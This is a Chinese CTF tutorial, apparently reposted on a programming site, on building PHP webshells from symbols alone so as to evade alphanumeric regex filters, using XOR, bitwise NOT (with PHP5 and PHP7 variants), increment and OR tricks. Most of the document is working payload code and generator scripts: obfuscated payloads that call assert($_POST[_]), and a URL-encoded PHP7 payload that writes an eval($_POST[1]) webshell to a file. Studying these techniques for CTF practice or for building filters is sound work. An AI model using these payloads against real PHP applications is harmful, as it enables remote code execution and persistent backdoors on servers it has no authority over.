概述
通过符号构造字母数字
- 知识点
- 方法
- 方法一:利用异或运算——绕过正则匹配
- 方法二:取反
- PHP5
- PHP7
- 方法三:自增自减
- 方法四:或
知识点
- 异或:
^
、xor
参加运算的两个对象,如果两个相应位为“异”(值不同),则该位结果为1,否则为 0。异或运算运用 - 取反:
~
- 短标签:
<? /*程序操作*/ ?>
、<?=/*函数*/?>
- 反引号:` ,起到命令执行的效果;将反引号中的内容作为 shell 命令来执行,并将其输出信息返回(即,可以赋给一个变量而不是简单地丢弃到标准输出)。与其它某些语言不同,反引号不能在双引号字符串中使用。
- PHP5及PHP7的区别
PHP5 | PHP7 |
---|---|
assert() 是一个函数,我们可以用$_=assert;$_() 这样的形式来执行代码 | assert() 变成了一个和eval() 一样的语言结构,不再支持上面那种调用方法 |
不支持($a)() 这种调用方法的 | 支持这种调用方法,因此支持这么写('phpinfo')(); |
方法
不能用字母数字时,我们可以通过异或,取反,自增自减,或等位运算利用特殊字符构造出字母数字,再利用php动态函数名的特性来构造webshell。
方法一:利用异或运算——绕过正则匹配
php对字符进行异或运算是先将字符转换成ASCII码然后进行异或运算,并且php能直接对一串字符串进行异或运算,例如"123"^"abc"是"1"与"a"进行异或然后"2"与"b"进行异或,以此类推,在异或结束后就获得了想要的字符串。
使用以下脚本,将字母转换为符号,绕过正则匹配
<?php
$shell = "assert";//这里写要转换成符号的字母
$result1 = "";
$result2 = "";
for($num=0;$num<=strlen($shell);$num++)
{
//33~126为ASCII可显示字符,可按题目要求进行修改
//若有控制符,即不可显示字符,需要URL编码,即使用函数urlencode()
for($x=33;$x<=126;$x++)
{
//chr函数将相应的ASCII码值转换成字符;再与字母数字做匹配,不匹配继续执行
if(judge(chr($x)))
{
for($y=33;$y<=126;$y++)
{
if(judge(chr($y)))
{
//将两个字符进行异或,看是否匹配
$f = chr($x)^chr($y);
if($f == $shell[$num])
{
$result1 .= chr($x);
$result2 .= chr($y);
break 2;
}
}
}
}
}
}
echo $result1;
echo "<br>";
echo $result2;
//判断是否与数字字母匹配,不匹配返回true
function judge($c)
{
if(!preg_match('/[a-z0-9]/is',$c))
{
return true;
}
return false;
}
例如要构造assert($_POST[_])
,即构造payload:
$_=('%40%5B%5B%40%5B%5B'^'%21%28%28%25%29%2F'); //assert
$__=('%40%40%40%40%40'^'%1F%10%0F%13%14'); //_POST
$__=$$__; //$_POST
$_($__[_]); //assert($_POST[_])
php的eval()函数在执行时如果内部有类似"abc"^"def"的计算式,那么就先进行计算再执行,我们可以利用再创参数来实现更方便的操作,例如传入?a=$_GET[b],由于b不受限制就可以任意传值了。
注意1:在测试过程中发现问题,类似phpinfo();的,需要将后面的();放在第个参数的后面,例如
url?a={_GET}{b}();&b=phpinfo
,也就是?a=KaTeX parse error: Expected '}', got 'EOF' at end of input: …pinfo,在传入后实际上为`{???^???}{?}();但是到了eval()函数内部就会变成
${_GET}{?}();`成功执行。注意2:测试中发现,传值时对于要计算的部分不能用括号括起来,因为括号也将被识别为传入的字符串,可以使用{}代替,原因是php的use of undefined constant特性,例如
${_GET}{a}
这样的语句php是不会判为错误的,因为{}使用来界定变量的,这句话就是会将_GET自动看为字符串,也就是$_GET[‘a’]
方法二:取反
PHP5
-
利用取反的原理,对汉字取反获得字符
脚本点这里:https://github.com/duduwjr/11/blob/main/%E5%AF%B9%E6%B1%89%E5%AD%97%E5%8F%96%E5%8F%8D%E8%8E%B7%E5%BE%97%E5%AD%97%E7%AC%A6.php
webshell如下<?php $_++; //得到1,此时$_=1 $__ = "极"; $___ = ~($__{$_}); //得到a,此时$___="a" $__ = "区"; $___ .= ~($__{$_}); //得到s,此时$___="as" $___ .= ~($__{$_}); //此时$___="ass" $__ = "皮"; $___ .= ~($__{$_}); //得到e,此时$___="asse" $__ = "十"; $___ .= ~($__{$_}); //得到r,此时$___="asser" $__ = "勺"; $___ .= ~($__{$_}); //得到t,此时$___="assert" $____ = '_'; //$____='_' $__ = "寸"; $____ .= ~($__{$_}); //得到P,此时$____="_P" $__ = "小"; $____ .= ~($__{$_}); //得到O,此时$____="_PO" $__ = "欠"; $____ .= ~($__{$_}); //得到S,此时$____="_POS" $__ = "立"; $____ .= ~($__{$_}); //得到T,此时$____="_POST" $_ = $$____; //$_ = $_POST $___($_[_]); //assert($_POST[_])
-
将字符串取反后得到非字母数字的字符,然后用该字符和取反符号配合使用构造webshell。
<?php $a="assert"; $b=~$a; echo urlencode($b);//URL编码后在输出 echo "<br>"; $c='_POST'; $d=~$c; echo urlencode($d);//URL编码后在输出 ?>
webshell:
$_=~(%9E%8C%8C%9A%8D%8B);$__=~(%A0%AF%B0%AC%AB);$___=$$__;$_($___[_]); //密码为_
PHP7
因为php7不能直接用assert构造webshell,所以我们可以选择file_put_contents()
来写入shell。
php7支持 ($a)()
这种动态函数名的格式,所以我们不用再声明其他变量了。
<?php
$a="file_put_contents";
$b=~$a;
echo urlencode($b);
echo "<br>";
$file='4.php';
$d=~$file;
echo urlencode($d);
echo "<br>";
$con="<?php eval($_POST[1]);";
$e=~$con;
echo urlencode($e);
?>
payload:(~(%99%96%93%9A%A0%8F%8A%8B%A0%9C%90%91%8B%9A%91%8B%8C))(~(%CB%D1%8F%97%8F),~(%C3%C0%8F%97%8F%DF%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%CE%A2%D6%C4)); //file_out_contents('4.php','<?php eval($_POST[1]);');
方法三:自增自减
PHP5
"A"++ ==> "B"
"B"++ ==> "C"
利用这种方法,只需要获取一个变量,通过自增操作即可获得A-Z、a-z
中所有字符。
那么应该怎样获得这个变量呢?在PHP中,如果强制连接数组和字符串的话,数组将被转换成字符串,其值为Array;Array的第一个字母就是大写A,而且第4个字母是小写a。也就是说,我们可以同时拿到小写和大写A,等于我们就可以拿到a-z和A-Z的所有字母。
<?php
$a = ''.[];
var_dump($a);//结果就为array
得到webshell如下:
<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;
$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;
$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);
由于PHP中函数对大小写不敏感,所以我们最终执行的是ASSERT()而不是assert()
方法四:或
也就是将异或符号改成或即可,方法类似
<?php
$shell="assert";
$r1="";
$r2="";
for($n=0;$n<strlen($shell);$n++){
for($i=0;$i<126;$i++){
for($j=0;$j<126;$j++){
if(preg_match('/[0-9]|[a-z]/i',chr($i)) || preg_match('/[0-9]|[a-z]/i',chr($j))){
break;
}
$a=chr($i) | chr($j);
if($a==$shell[$n]){
$r1.=chr($i);
$r2.=chr($j);
break 2;
}
}
}
}
echo urlencode($r1);
echo "<br>";
echo urlencode($r2);
?>
以上脚本均参考以下文章
参考链接https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html
参考链接https://xz.aliyun.com/t/8107#toc-6
参考链接https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html?page=2#glob
参考链接https://blog.csdn.net/weixin_46330722/article/details/112898103
最后
以上就是俭朴煎饼为你收集整理的【CTF】通过符号构造字母数字知识点方法的全部内容,希望文章能够帮你解决【CTF】通过符号构造字母数字知识点方法所遇到的程序开发问题。
如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。
发表评论 取消回复